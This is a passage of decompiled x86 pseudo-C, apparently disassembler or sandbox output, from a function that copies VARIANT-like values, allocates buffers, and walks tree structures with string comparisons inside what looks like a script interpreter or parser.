																					_push(__eax);
																					__imp__#10();
																					__eflags = __eax;
																					if(__eax < 0) {
																						__ecx =  *__ebx;
																						_push( *__ebx);
																						__imp__#9();
																						__edx =  *__ebx;
																						_push( *__ebx);
																						__eax = E00EF10FC();
																						__esp = __esp + 4;
																						 *__ebx = 0;
																					}
																					goto L166;
																				case 7:
																					 *__ebx =  *__esi;
																					goto L166;
																				case 8:
																					_push(0x18);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					__esp = __esp + 4;
																					__eflags = __eax;
																					if(__eax == 0) {
																						goto L502;
																					}
																					__ecx =  *__esi;
																					__eax = E00F2B82F(__eax,  *__esi);
																					 *__ebx = __eax;
																					goto L166;
																				case 9:
																					_push(8);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					 *__ebx = __eax;
																					__edx =  *__esi;
																					__ecx =  *( *__esi);
																					 *__eax =  *( *__esi);
																					__edx =  *__ebx;
																					__eax =  *( *__ebx);
																					__esp = __esp + 4;
																					__eflags = __eax;
																					if(__eflags == 0) {
																						_push(1);
																						__eax = E00EF14F7(__edi, __esi, __eflags);
																						__ecx =  *__ebx;
																						 *(__ecx + 4) = __eax;
																						__edx =  *__ebx;
																						__eax =  *( *__ebx + 4);
																						__esp = __esp + 4;
																						 *__eax = 0;
																					} else {
																						_push(__eax); // executed
																						__eax = E00EF14F7(__edi, __esi, __eflags); // executed
																						__ecx =  *__ebx;
																						 *( *__ebx + 4) = __eax;
																						__ebx =  *__ebx;
																						__edx =  *__ebx;
																						__eax =  *__esi;
																						__ecx =  *( *__esi + 4);
																						__esp = __esp + 4;
																						__edx = __ebx[1];
																						__eax = E00EF0D80(__ebx[1],  *( *__esi + 4),  *__ebx);
																					}
																					goto L166;
																				case 0xa:
																					_push(0x14);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					__esp = __esp + 4;
																					__eflags = __eax;
																					if(__eax == 0) {
																						L502:
																						__eax = 0;
																						 *__ebx = 0;
																						goto L166;
																					}
																					__ecx =  *__esi;
																					__eax = E00F5082A(__eax,  *__esi);
																					 *__ebx = __eax;
																					goto L166;
																			}
																		}
																		L163:
																		_push(0x10);
																		_t1166 = E00EF14F7(_t1733, _t1777, __eflags);
																		_t1809 = _t1809 + 4;
																		__eflags = _t1166;
																		if(_t1166 == 0) {
																			_t1166 = 0;
																		} else {
																			_t1487 =  *(_t1777 + 0xc);
																			 *_t1166 =  *_t1487;
																			 *((intOrPtr*)(_t1166 + 4)) =  *((intOrPtr*)(_t1487 + 4));
																			 *((intOrPtr*)(_t1166 + 8)) =  *((intOrPtr*)(_t1487 + 8));
																			_t1488 =  *(_t1487 + 0xc);
																			 *(_t1166 + 0xc) = _t1488;
																			 *_t1488 =  *_t1488 + 1;
																			__eflags =  *_t1488;
																		}
																		 *(_t1403 + 0xc) = _t1166;
																		goto L166;
																	}
																}
															}
														}
													} else {
														_v108 = 1;
														goto L70;
														L71:
														__eflags = _v108 - _v116;
														if(_v108 > _v116) {
															E00EED740( &_v40, _t1493);
															_v104 = 0;
															_t1179 =  *((intOrPtr*)( *(_v148 + 4) + 8 + _t1778 * 4));
															_t1495 =  *( *((intOrPtr*)( *(_v148 + 4) + 8 + _t1778 * 4)) + 8) & 0x0000ffff;
															__eflags = _t1495 - 0x4a;
															if(_t1495 == 0x4a) {
																L381:
																E00EE29B0(_t1179, _t1495,  &_v40);
																_t1495 =  *(_v148 + 4);
																_t1179 =  *((intOrPtr*)( *(_v148 + 4) + 0xc + _v212 * 4));
																L382:
																E00EE29B0(_t1179, _t1495,  &_v40);
																E00EE2940(0x7f,  &_v20, _t1851);
																E00EE29B0( &_v20, _t1495,  &_v40);
																E00EEA9D0(_a4, _t1851,  &_v40,  &_v104,  &_v196, 0xffffffff);
																_v172 = _v228 + _v228 + _v228 + _v228;
																E00EE1BE0(1, _v224 | 0x00000200,  &_v212,  *((intOrPtr*)( *((intOrPtr*)(_v228 + _v228 + _v228 + _v228 +  *((intOrPtr*)(_v164 + 4)))))));
																L140:
																_t1193 =  *(_v148 + 4);
																_t1611 =  *(_v156 + _t1193 + 4);
																__eflags =  *(_t1611 + 8) - 0x41;
																if( *(_t1611 + 8) == 0x41) {
																	_t1611 =  *(_t1193 + 8 + _v212 * 4);
																	_t1194 =  *(_t1611 + 8) & 0x0000ffff;
																	__eflags = _t1194 - 0x4a;
																	if(_t1194 == 0x4a) {
																		L459:
																		_v212 = _v212 + 5;
																		goto L142;
																	}
																	__eflags = _t1194 - 0x49;
																	if(_t1194 == 0x49) {
																		goto L459;
																	}
																	_v212 = _v212 + 4;
																	goto L142;
																} else {
																	_t279 =  &_v212;
																	 *_t279 = _v212 + 2;
																	__eflags =  *_t279;
																	L142:
																	_t1195 = _v12;
																	_v200 = _v200 + 1;
																	__eflags = _t1195 - 0x30;
																	if(_t1195 >= 0x30) {
																		__eflags = _t1195 - 0x3f;
																		if(_t1195 <= 0x3f) {
																			_t1202 = _v20;
																			__eflags = _t1202;
																			if(_t1202 != 0) {
																				E00F2651E(_t1202);
																			}
																		}
																	}
																	__eflags = _v32;
																	_v40 = 0xf65a44;
																	if(_v32 > 0) {
																		_t1782 = 0;
																		__eflags = 0;
																		do {
																			_t1197 =  *(_v36 + _t1782 * 4);
																			__eflags = _t1197;
																			if(_t1197 != 0) {
																				E00F2C736(_t1197);
																			}
																			_t1782 = _t1782 + 1;
																			__eflags = _t1782 - _v32;
																		} while (_t1782 < _v32);
																		goto L144;
																	} else {
																		L144:
																		_push(_v36);
																		_v32 = 0;
																		E00EF10FC();
																		_t1200 = _v108 + 1;
																		_t1809 = _t1809 + 4;
																		_v108 = _t1200;
																		__eflags = _t1200 - _v136;
																		if(_t1200 <= _v136) {
																			L70:
																			_t1493 =  *(_v148 + 4);
																			_t1778 = _v212;
																			_v12 = _t1611 | 0xffffffff;
																			_v40 = 0xf65a44;
																			_v36 = 0;
																			_v32 = 0;
																			_v28 = 0;
																			_v104 = 0;
																			_t1738 =  *(_t1493 + _t1778 * 4);
																			_t1652 = _t1493 + _t1778 * 4;
																			_t1177 = 0;
																			_v10 = 0;
																			_v208 = 0;
																			__eflags =  *(_t1738 + 8);
																			if( *(_t1738 + 8) == 0) {
																				do {
																					goto L371;
																					L375:
																					_t1741 =  *_t1652;
																					__eflags =  *(_t1741 + 8);
																				} while ( *(_t1741 + 8) == 0);
																				_v212 = _t1778;
																			}
																			goto L71;
																		} else {
																			_t1393 = _v24;
																			goto L146;
																		}
																	}
																}
															}
															__eflags = _t1495 - 0x49;
															if(_t1495 != 0x49) {
																goto L382;
															}
															goto L381;
														}
														_t1746 = _v128;
														_t1660 = _v200;
														_t1204 = _t1177 | 0x00000200;
														__eflags =  *( *(_t1746 + _t1660 * 4));
														if( *( *(_t1746 + _t1660 * 4)) != 0) {
															_t1728 = _v176;
															_t1611 =  *(_v176 + _t1660 * 4);
															_t1207 = E00F3F4F5( *( *(_t1493 + _t1778 * 4)), E00F124D9(_t1611), _t1204, 1);
															__eflags = _t1207;
															if(_t1207 == 0) {
																E00F3E724(_t1851, _a4, 0x79,  *((short*)( *((intOrPtr*)( *(_v148 + 4) + _t1778 * 4)) + 0xa)));
																E00F2B3F5(__eflags,  &_v32);
																E00EE11A0( &_v56, _t1728, _t1778);
																goto L625;
															}
															_v212 = _t1778 + 2;
															goto L142;
														}
														_t1664 =  *((intOrPtr*)(_v176 + _v200 * 4));
														_t1785 = _t1204;
														_t1215 = _v212 + _v212 + _v212 + _v212;
														_v156 = _t1215;
														_t1748 =  *( *(_t1215 + _t1493));
														__eflags =  *0xf87f34; // 0x0
														if(__eflags == 0) {
															E00EE4040(_t1748, _t1493, _t1664, 0xf87f24, _t1785, __eflags, _t1664, _t1785);
															goto L140;
														}
														_v204 = _t1664;
														__eflags =  *0xf87f3d; // 0x0
														if(__eflags != 0) {
															_t1507 =  *0xf87f38; // 0x0
															_t1406 =  *(_t1507 + 8);
														} else {
															_t1406 =  *0xf87f38; // 0x0
														}
														_t1219 = 0;
														_v208 = _t1406;
														__eflags =  *_t1406;
														if(__eflags == 0) {
															L94:
															_t1786 = _t1785 & 0x0000ff00;
															_push(0x20);
															_v160 = _t1785 & 0x0000ff00;
															_t1220 = E00EF14F7(_t1748, _t1785 & 0x0000ff00, __eflags); // executed
															_t1826 = _t1809 + 4;
															__eflags = _t1220;
															if(__eflags == 0) {
																_t1407 = 0;
															} else {
																_t1786 = _t1220;
																 *(_t1786 + 8) = 8;
																 *(_t1786 + 4) = 0;
																_push( ~(0 | __eflags > 0x00000000) | 0x10);
																_t1265 = E00EF14F7(_t1748, _t1786, __eflags);
																 *_t1786 = _t1265;
																_push(4);
																 *_t1265 = 0;
																_t1266 = E00EF14F7(_t1748, _t1786, __eflags);
																_t1826 = _t1826 + 8;
																__eflags = _t1266;
																if(_t1266 == 0) {
																	_t1266 = 0;
																} else {
																	 *_t1266 = 1;
																}
																 *(_t1786 + 0xc) = _t1266;
																_t1407 = _t1786;
															}
															__eflags = _t1407 - _t1748;
															if(__eflags != 0) {
																_t1252 =  *(_t1407 + 0xc);
																__eflags =  *_t1252 - 1;
																if(__eflags > 0) {
																	 *_t1252 =  *_t1252 - 1;
																	 *(_t1407 + 4) = _t1748[1];
																	 *(_t1407 + 8) = _t1748[2];
																	 *_t1407 =  *_t1748;
																	_t1748 = _t1748[3];
																	 *(_t1407 + 0xc) = _t1748;
																	 *_t1748 =  *_t1748 + 1;
																} else {
																	_t1786 = _t1748[1];
																	_t222 = _t1786 + 1; // 0x1
																	_t1254 = _t222;
																	 *(_t1407 + 4) = _t1786;
																	__eflags =  *(_t1407 + 8) - _t1254;
																	if( *(_t1407 + 8) < _t1254) {
																		 *(_t1407 + 8) = E00F2653C(_t1254);
																		_t1256 =  *_t1407;
																		__eflags = _t1256;
																		if(__eflags != 0) {
																			_push(_t1256);
																			E00EF10FC();
																			_t1826 = _t1826 + 4;
																		}
																		_push( ~(0 | __eflags > 0x00000000) |  *(_t1407 + 8) * 0x00000002);
																		_t1259 = E00EF14F7(_t1748, _t1786, __eflags);
																		_t1826 = _t1826 + 4;
																		 *_t1407 = _t1259;
																		 *((short*)(_t1259 + _t1786 * 2)) = 0;
																	}
																	E00EF0D80( *_t1407,  *_t1748,  *(_t1407 + 4) +  *(_t1407 + 4) + 2);
																	_t1826 = _t1826 + 0xc;
																}
															}
															_push(0x10);
															 *((intOrPtr*)(_t1407 + 0x10)) = _v160;
															_t1222 = E00EF14F7(_t1748, _t1786, __eflags);
															_t1508 = 0;
															_t1809 = _t1826 + 4;
															__eflags = _t1222;
															if(_t1222 == 0) {
																L109:
																_t1223 = _v208;
																_t1750 = 0;
																 *((intOrPtr*)(_t1407 + 0x14)) = _t1508;
																 *(_t1407 + 0x1c) = 0;
																 *(_t1407 + 0x18) = 0;
																_t1787 =  *_t1223;
																__eflags = _t1787;
																if(_t1787 == 0) {
																	 *(_t1407 + 0x1c) = 0;
																	 *(_t1407 + 0x18) = 0;
																	L139:
																	 *_t1223 = _t1407;
																	goto L140;
																}
																__eflags =  *0xf895e4 & 0x00000001;
																if(__eflags == 0) {
																	 *0xf895e4 =  *0xf895e4 | 0x00000001;
																	E00F2B393(0xf895c4);
																	E00EF122A(__eflags, 0xf05b32);
																	_t1809 = _t1809 + 4;
																}
																 *0xf895e0 = _t1750;
																 *0xf895dc = _t1750;
																_v112 = 0xf895c4;
																_v140 = 0xf895c4;
																while(1) {
																	_t1227 =  *(_t1407 + 4);
																	_t1665 =  *((intOrPtr*)(_t1787 + 4));
																	__eflags = _t1227 - _t1750;
																	if(_t1227 == _t1750) {
																		goto L431;
																	}
																	L113:
																	__eflags = _t1665 - _t1750;
																	if(_t1665 == _t1750) {
																		L432:
																		__eflags = _t1227 - _t1750;
																		if(_t1227 != _t1750) {
																			L124:
																			_t257 = _t1787 + 0x1c; // 0x1c
																			_t1241 = _t257;
																			_v204 = _t1241;
																			_t1242 =  *_t1241;
																			__eflags = _t1242 - _t1750;
																			if(_t1242 != _t1750) {
																				_v160 = _t1242;
																				_t1243 = E00F230CF(_t1242, _t1407);
																				_t1809 = _t1809 + 8;
																				__eflags = _t1243;
																				if(_t1243 == 0) {
																					L446:
																					 *(_v140 + 0x1c) = _t1787;
																					_v140 = _t1787;
																					_t1787 =  *_v204;
																					while(1) {
																						_t1227 =  *(_t1407 + 4);
																						_t1665 =  *((intOrPtr*)(_t1787 + 4));
																						__eflags = _t1227 - _t1750;
																						if(_t1227 == _t1750) {
																							goto L431;
																						}
																						goto L113;
																					}
																				}
																				_t1245 = _v160;
																				 *_v204 =  *(_t1245 + 0x18);
																				 *(_t1245 + 0x18) = _t1787;
																				_t1787 = _t1245;
																				__eflags =  *(_t1245 + 0x1c) - _t1750;
																				if( *(_t1245 + 0x1c) == _t1750) {
																					goto L125;
																				}
																				_t1246 = _t1245 + 0x1c;
																				__eflags = _t1246;
																				_v204 = _t1246;
																				goto L446;
																			}
																			L125:
																			 *(_v140 + 0x1c) =  *(_t1787 + 0x18);
																			 *(_v112 + 0x18) =  *(_t1787 + 0x1c);
																			_t1231 =  *0xf895e0; // 0x0
																			_t1668 =  *((intOrPtr*)(_t1787 + 4));
																			 *(_t1787 + 0x18) = _t1231;
																			_t1510 =  *0xf895dc; // 0x38e0578
																			 *(_t1787 + 0x1c) = _t1510;
																			_t1232 =  *(_t1407 + 4);
																			__eflags = _t1232 - _t1750;
																			if(_t1232 == _t1750) {
																				__eflags = _t1668 - _t1750;
																				if(_t1668 != _t1750) {
																					L454:
																					 *(_t1407 + 0x18) =  *(_t1787 + 0x18);
																					 *(_t1407 + 0x1c) = _t1787;
																					 *(_t1787 + 0x18) = _t1750;
																					L138:
																					_t1223 = _v208;
																					goto L139;
																				}
																				L448:
																				__eflags = _t1232 - _t1750;
																				if(_t1232 != _t1750) {
																					L137:
																					_t1511 =  *0xf895dc; // 0x38e0578
																					 *(_t1407 + 0x1c) = _t1511;
																					 *(_t1407 + 0x18) = _t1787;
																					 *(_t1787 + 0x1c) = _t1750;
																					goto L138;
																				}
																				L127:
																				__eflags = _t1232 - _t1668;
																				if(_t1232 < _t1668) {
																					_t1235 = E00EED470( *_t1407,  *_t1787, _t1668);
																					L135:
																					__eflags = _t1235 - _t1750;
																					if(__eflags < 0) {
																						goto L454;
																					}
																					if(__eflags <= 0) {
																						_t1407 = _t1787;
																						goto L138;
																					}
																					goto L137;
																				}
																				__eflags = _t1232 - _t1750;
																				if(_t1232 <= _t1750) {
																					L451:
																					_t1235 = 0;
																				} else {
																					_t1513 =  *_t1787;
																					_t1669 = _t1232;
																					_t1236 =  *_t1407;
																					while(1) {
																						__eflags =  *_t1236 -  *_t1513;
																						if(__eflags != 0) {
																							if(__eflags < 0) {
																								_t1235 = _t1236 | 0xffffffff;
																								_t1750 = 0;
																							} else {
																								_t1235 = 1;
																								_t1750 = 0;
																								__eflags = 0;
																							}
																							goto L135;
																						}
																						_t1236 = _t1236 + 2;
																						_t1513 = _t1513 + 2;
																						_t1669 = _t1669 - 1;
																						__eflags = _t1669;
																						if(_t1669 != 0) {
																							continue;
																						} else {
																							_t1750 = 0;
																							__eflags = 0;
																							goto L451;
																						}
																					}
																				}
																				goto L135;
																			}
																			__eflags = _t1668 - _t1750;
																			if(_t1668 == _t1750) {
																				goto L448;
																			}
																			goto L127;
																		}
																	}
																	__eflags = _t1227 - _t1665;
																	if(_t1227 < _t1665) {
																		_t1248 = E00EED470( *_t1407,  *_t1787, _t1665);
																		L122:
																		__eflags = _t1248 - _t1750;
																		if(__eflags < 0) {
																			L438:
																			_t762 = _t1787 + 0x18; // 0x18
																			_t1228 = _t762;
																			_v204 = _t1228;
																			_t1229 =  *_t1228;
																			__eflags = _t1229 - _t1750;
																			if(_t1229 == _t1750) {
																				goto L125;
																			}
																			_v160 = _t1229;
																			_t1237 = E00F230CF(_t1407, _t1229);
																			_t1809 = _t1809 + 8;
																			__eflags = _t1237;
																			if(_t1237 == 0) {
																				L442:
																				 *(_v112 + 0x18) = _t1787;
																				_v112 = _t1787;
																				_t1787 =  *_v204;
																				_t1227 =  *(_t1407 + 4);
																				_t1665 =  *((intOrPtr*)(_t1787 + 4));
																				__eflags = _t1227 - _t1750;
																				if(_t1227 == _t1750) {
																					goto L431;
																				}
																				goto L113;
																			}
																			_t1239 = _v160;
																			 *_v204 =  *(_t1239 + 0x1c);
																			 *(_t1239 + 0x1c) = _t1787;
																			_t1787 = _t1239;
																			__eflags =  *(_t1239 + 0x18) - _t1750;
																			if( *(_t1239 + 0x18) == _t1750) {
																				goto L125;
																			}
																			_t1240 = _t1239 + 0x18;
																			__eflags = _t1240;
																			_v204 = _t1240;
																			goto L442;
																		}
																		if(__eflags <= 0) {
																			goto L125;
																		}
																		goto L124;
																	}
																	__eflags = _t1227 - _t1750;
																	if(_t1227 <= _t1750) {
																		L435:
																		_t1248 = 0;
																	} else {
																		_t1519 =  *_t1787;
																		_t1672 = _t1227;
																		_t1249 =  *_t1407;
																		while(1) {
																			__eflags =  *_t1249 -  *_t1519;
																			if(__eflags != 0) {
																				if(__eflags < 0) {
																					_t1248 = _t1249 | 0xffffffff;
																					_t1750 = 0;
																				} else {
																					_t1248 = 1;
																					_t1750 = 0;
																					__eflags = 0;
																				}
																				goto L122;
																			}
																			_t1249 = _t1249 + 2;
																			_t1519 = _t1519 + 2;
																			_t1672 = _t1672 - 1;
																			__eflags = _t1672;
																			if(_t1672 != 0) {
																				continue;
																			} else {
																				_t1750 = 0;
																				__eflags = 0;
																				goto L435;
																			}
																		}
																	}
																	goto L122;
																	L431:
																	__eflags = _t1665 - _t1750;
																	if(_t1665 != _t1750) {
																		goto L438;
																	}
																	goto L432;
																}
															} else {
																_t1753 = _v204;
																_t1673 =  *((intOrPtr*)(_t1753 + 8));
																_t1788 = _t1222;
																_t232 = _t1673 - 1; // 0x46
																_t1250 = _t232;
																_v140 = _t1788;
																 *((intOrPtr*)(_t1788 + 8)) =  *((intOrPtr*)(_t1753 + 8));
																 *(_t1788 + 0xc) = 0;
																__eflags = _t1250 - 0xb;
																if(__eflags > 0) {
																	L108:
																	_t1508 = _v140;
																	goto L109;
																}
																switch( *((intOrPtr*)(_t1250 * 4 +  &M00EEA994))) {
																	case 0:
																		__eax =  *__edi;
																		goto L266;
																	case 1:
																		__eax =  *__edi;
																		 *__esi = __eax;
																		__ecx =  *(__edi + 4);
																		 *(__esi + 4) = __ecx;
																		goto L108;
																	case 2:
																		__fp0 =  *__edi;
																		 *__esi = __fp0;
																		goto L108;
																	case 3:
																		_push(0x10);
																		_t1251 = E00EF14F7(_t1753, _t1788, __eflags);
																		_t1809 = _t1809 + 4;
																		__eflags = _t1251;
																		if(_t1251 == 0) {
																			_t1251 = 0;
																		} else {
																			_t1520 =  *(_t1753 + 0xc);
																			 *_t1251 =  *_t1520;
																			 *((intOrPtr*)(_t1251 + 4)) =  *((intOrPtr*)(_t1520 + 4));
																			 *((intOrPtr*)(_t1251 + 8)) =  *((intOrPtr*)(_t1520 + 8));
																			_t1521 =  *(_t1520 + 0xc);
																			 *(_t1251 + 0xc) = _t1521;
																			 *_t1521 =  *_t1521 + 1;
																			__eflags =  *_t1521;
																		}
																		 *(_t1788 + 0xc) = _t1251;
																		goto L108;
																	case 4:
																		_push(0x214);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eax == 0) {
																			__eax = 0;
																			__eflags = 0;
																		} else {
																			__edx = _v204;
																			__esi =  *__edx;
																			__ecx = 0x85;
																			__edi = __eax;
																			__eax = memcpy(__eax, __esi, 0x85 << 2);
																			__edi = __esi + __ecx;
																			__edi = __esi + __ecx + __ecx;
																			__ecx = 0;
																		}
																		__ecx = _v140;
																		 *__ecx = __eax;
																		__eflags =  *(__eax + 4);
																		if( *(__eax + 4) != 0) {
																			__eax =  *(__eax + 4);
																			 *__eax =  *__eax + 1;
																		}
																		goto L108;
																	case 5:
																		__edx =  *__edi;
																		 *__esi = __edx;
																		goto L108;
																	case 6:
																		__eflags =  *__edi;
																		if(__eflags != 0) {
																			_push(0x10);
																			__eax = E00EF14F7(__edi, __esi, __eflags);
																			__esp = __esp + 4;
																			_push(__eax);
																			 *__esi = __eax;
																			__imp__#8();
																			__edx =  *__edi;
																			__eax =  *__esi;
																			_push(__edx);
																			_push(__eax);
																			__imp__#10();
																			__eflags = __eax;
																			if(__eax < 0) {
																				__ecx =  *__esi;
																				_push( *__esi);
																				__imp__#9();
																				__edx =  *__esi;
																				_push(__edx);
																				__eax = E00EF10FC();
																				__esp = __esp + 4;
																				 *__esi = 0;
																			}
																		}
																		goto L108;
																	case 7:
																		 *__esi =  *__edi;
																		goto L108;
																	case 8:
																		_push(0x18);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eax == 0) {
																			goto L429;
																		}
																		__ecx =  *__edi;
																		__eax = E00F2B82F(__eax,  *__edi);
																		goto L266;
																	case 9:
																		_push(8);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		 *__esi = __eax;
																		__edx =  *__edi;
																		__ecx =  *( *__edi);
																		 *__eax =  *( *__edi);
																		__edx =  *__esi;
																		__eax =  *( *__esi);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eflags == 0) {
																			_push(1);
																			__eax = E00EF14F7(__edi, __esi, __eflags);
																			__ecx =  *__esi;
																			 *(__ecx + 4) = __eax;
																			__edx =  *__esi;
																			__eax =  *(__edx + 4);
																			__esp = __esp + 4;
																			 *__eax = 0;
																		} else {
																			_push(__eax);
																			__eax = E00EF14F7(__edi, __esi, __eflags);
																			__ecx =  *__esi;
																			 *( *__esi + 4) = __eax;
																			__esi =  *__esi;
																			__edx =  *__esi;
																			__eax =  *__edi;
																			__ecx =  *( *__edi + 4);
																			__esp = __esp + 4;
																			__edx =  *(__esi + 4);
																			__eax = E00EF0D80( *(__esi + 4),  *( *__edi + 4),  *__esi);
																		}
																		goto L108;
																	case 0xa:
																		_push(0x14);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eax == 0) {
																			L429:
																			__eax = 0;
																			L266:
																			 *__esi = __eax;
																			goto L108;
																		}
																		__ecx =  *__edi;
																		__eax = E00F5082A(__eax,  *__edi);
																		goto L266;
																}
															}
														} else {
															__eflags =  *0xf895e4 & 0x00000001;
															_v161 = 0;
															if(__eflags == 0) {
																 *0xf895e4 =  *0xf895e4 | 0x00000001;
																E00F2B393(0xf895c4);
																E00EF122A(__eflags, 0xf05b32);
																_t1809 = _t1809 + 4;
																_t1219 = 0;
															}
															 *0xf895e0 = _t1219;
															 *0xf895dc = _t1219;
															_t1269 = 0xf895c4;
															_v112 = 0xf895c4;
															while(1) {
																_v140 = _t1269;
																while(1) {
																	L80:
																	_t1270 = _t1748[1];
																	_t1534 =  *_t1406;
																	_t1684 =  *(_t1534 + 4);
																	__eflags = _t1270;
																	if(_t1270 == 0) {
																		goto L386;
																	}
																	L81:
																	__eflags = _t1684;
																	if(_t1684 == 0) {
																		L387:
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			L92:
																			_t1283 =  *( *_t1406 + 0x1c);
																			__eflags = _t1283;
																			if(_t1283 != 0) {
																				_t1284 = E00F230CF(_t1283, _t1748);
																				_t1809 = _t1809 + 8;
																				__eflags = _t1284;
																				if(_t1284 == 0) {
																					L399:
																					 *((intOrPtr*)(_v112 + 0x1c)) =  *_t1406;
																					_t1286 =  *_t1406;
																					_v112 = _t1286;
																					 *_t1406 =  *(_t1286 + 0x1c);
																					L80:
																					_t1270 = _t1748[1];
																					_t1534 =  *_t1406;
																					_t1684 =  *(_t1534 + 4);
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L386;
																					}
																					goto L81;
																				}
																				_t1288 =  *( *_t1406 + 0x1c);
																				 *( *_t1406 + 0x1c) =  *(_t1288 + 0x18);
																				 *(_t1288 + 0x18) =  *_t1406;
																				 *_t1406 = _t1288;
																				__eflags =  *(_t1288 + 0x1c);
																				if( *(_t1288 + 0x1c) == 0) {
																					goto L93;
																				}
																				goto L399;
																			}
																			L93:
																			__eflags = _v161;
																			 *(_v112 + 0x1c) =  *( *_t1406 + 0x18);
																			 *(_v140 + 0x18) =  *( *_t1406 + 0x1c);
																			_t1537 =  *0xf895e0; // 0x0
																			 *( *_t1406 + 0x18) = _t1537;
																			_t1276 =  *0xf895dc; // 0x38e0578
																			 *( *_t1406 + 0x1c) = _t1276;
																			if(__eflags != 0) {
																				_t1408 =  *_t1406;
																				__eflags =  *_t1406;
																				if(__eflags == 0) {
																					goto L94;
																				}
																				E00EE90D0( *((intOrPtr*)(_t1408 + 0x14)), _v204, _v204);
																				goto L140;
																			}
																			goto L94;
																		}
																	}
																	__eflags = _t1270 - _t1684;
																	if(_t1270 < _t1684) {
																		_t1290 = E00EED470( *_t1748,  *_t1534, _t1684);
																		L90:
																		__eflags = _t1290;
																		if(__eflags < 0) {
																			L393:
																			_t1272 =  *( *_t1406 + 0x18);
																			__eflags = _t1272;
																			if(_t1272 == 0) {
																				goto L93;
																			}
																			_t1278 = E00F230CF(_t1748, _t1272);
																			_t1809 = _t1809 + 8;
																			__eflags = _t1278;
																			if(_t1278 == 0) {
																				L396:
																				 *(_v140 + 0x18) =  *_t1406;
																				_t1269 =  *_t1406;
																				 *_t1406 =  *(_t1269 + 0x18);
																				_v140 = _t1269;
																				continue;
																			}
																			_t1281 =  *( *_t1406 + 0x18);
																			 *( *_t1406 + 0x18) =  *(_t1281 + 0x1c);
																			 *(_t1281 + 0x1c) =  *_t1406;
																			 *_t1406 = _t1281;
																			__eflags =  *(_t1281 + 0x18);
																			if( *(_t1281 + 0x18) == 0) {
																				goto L93;
																			}
																			goto L396;
																		}
																		if(__eflags <= 0) {
																			_v161 = 1;
																			goto L93;
																		}
																		goto L92;
																	}
																	__eflags = _t1270;
																	if(_t1270 == 0) {
																		L390:
																		_t1290 = 0;
																	} else {
																		_t1545 =  *_t1534;
																		_t1693 = _t1270;
																		_t1291 =  *_t1748;
																		while(1) {
																			__eflags =  *_t1291 -  *_t1545;
																			if(__eflags != 0) {
																				break;
																			}
																			_t1291 = _t1291 + 2;
																			_t1545 = _t1545 + 2;
																			_t1693 = _t1693 - 1;
																			__eflags = _t1693;
																			if(_t1693 != 0) {
																				continue;
																			} else {
																				_t1406 = _v208;
																				goto L390;
																			}
																		}
																		_t1406 = _v208;
																		if(__eflags < 0) {
																			_t1290 = _t1291 | 0xffffffff;
																		} else {
																			_t1290 = 1;
																		}
																	}
																	goto L90;
																	L386:
																	__eflags = _t1684;
																	if(_t1684 != 0) {
																		goto L393;
																	}
																	goto L387;
																}
															}
														}
														L371:
														_t1740 =  *( *_t1652);
														__eflags = _t1740 - 0x24;
														if(_t1740 == 0x24) {
															L374:
															_t1778 = _t1778 + 1;
															_t1652 = _t1652 + 4;
															__eflags = _t1652;
															goto L375;
														}
														__eflags = _t1740 - 0x1e;
														if(_t1740 != 0x1e) {
															goto L375;
														}
														_v208 = 0x100;
														_t1177 = _v208;
														goto L374;
													}
												} else {
													_v212 = 3;
													_v108 = _t1444;
													while(1) {
														__eflags = _t1611 - _v208;
														if(_t1611 >= _v208) {
															goto L57;
														}
														_v116 = _v116 + 1;
														_t1308 =  *(_v148 + 4) + _v212 * 4;
														_t1559 =  *_t1308;
														_t1728 = 0;
														_t1411 = 0;
														__eflags =  *(_t1559 + 8);
														if( *(_t1559 + 8) == 0) {
															do {
																_t1561 =  *((intOrPtr*)( *_t1308));
																__eflags = _t1561 - 0x24;
																if(_t1561 != 0x24) {
																	__eflags = _t1561 - 0x1e;
																	if(_t1561 != 0x1e) {
																		_push(0xffffffff);
																		_push(0x91);
																		L623:
																		_push(_a4);
																		goto L624;
																	}
																	_t1728 = 0x100;
																	goto L301;
																}
																_t1411 = 1;
																L301:
																_t1562 =  *((intOrPtr*)(_t1308 + 4));
																_v212 = _v212 + 1;
																_t1308 = _t1308 + 4;
																__eflags =  *((short*)(_t1562 + 8));
															} while ( *((short*)(_t1562 + 8)) == 0);
														}
														_t1697 =  *((intOrPtr*)( *((intOrPtr*)(_a8 + 4)) + _t1611 * 4));
														__eflags =  *((short*)(_t1697 + 8)) - 0x33;
														if( *((short*)(_t1697 + 8)) != 0x33) {
															_t1411 = 0;
															__eflags = 0;
														}
														_t1791 = _v124;
														_t1310 = _v120;
														__eflags = _t1791 - _t1310;
														if(__eflags == 0) {
															_t1311 = _t1310 + _t1310;
															__eflags = _t1311 - 4;
															if(__eflags < 0) {
																_t1311 = 4;
															}
															_v120 = _t1311;
															_push( ~(0 | __eflags > 0x00000000) | _t1311 * 0x00000004);
															_v156 = E00EF14F7(_t1728, _t1791, __eflags);
															E00EF0D80(_t1313, _v128, _t1791 * 4);
															_push(_v128);
															E00EF10FC();
															_t1809 = _t1809 + 0x14;
															_v128 = _v156;
														}
														_push(1);
														_t1317 = E00EF14F7(_t1728, _t1791, __eflags);
														_t1809 = _t1809 + 4;
														__eflags = _t1317;
														if(_t1317 == 0) {
															_t1317 = 0;
														} else {
															 *_t1317 = _t1411;
														}
														 *(_v128 + _t1791 * 4) = _t1317;
														_t1792 = _t1791 + 1;
														_v124 = _t1791 + 1;
														__eflags = _t1411;
														if(_t1411 != 0) {
															_t1570 = _v144;
															_t1319 =  *((intOrPtr*)( *((intOrPtr*)(_a8 + 4)) + _t1570 * 4));
															__eflags =  *((short*)(_t1319 + 8)) - 0x33;
															if( *((short*)(_t1319 + 8)) != 0x33) {
																_push( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_a8 + 4)) + _t1570 * 4)) + 0xa)));
																_push(0x91);
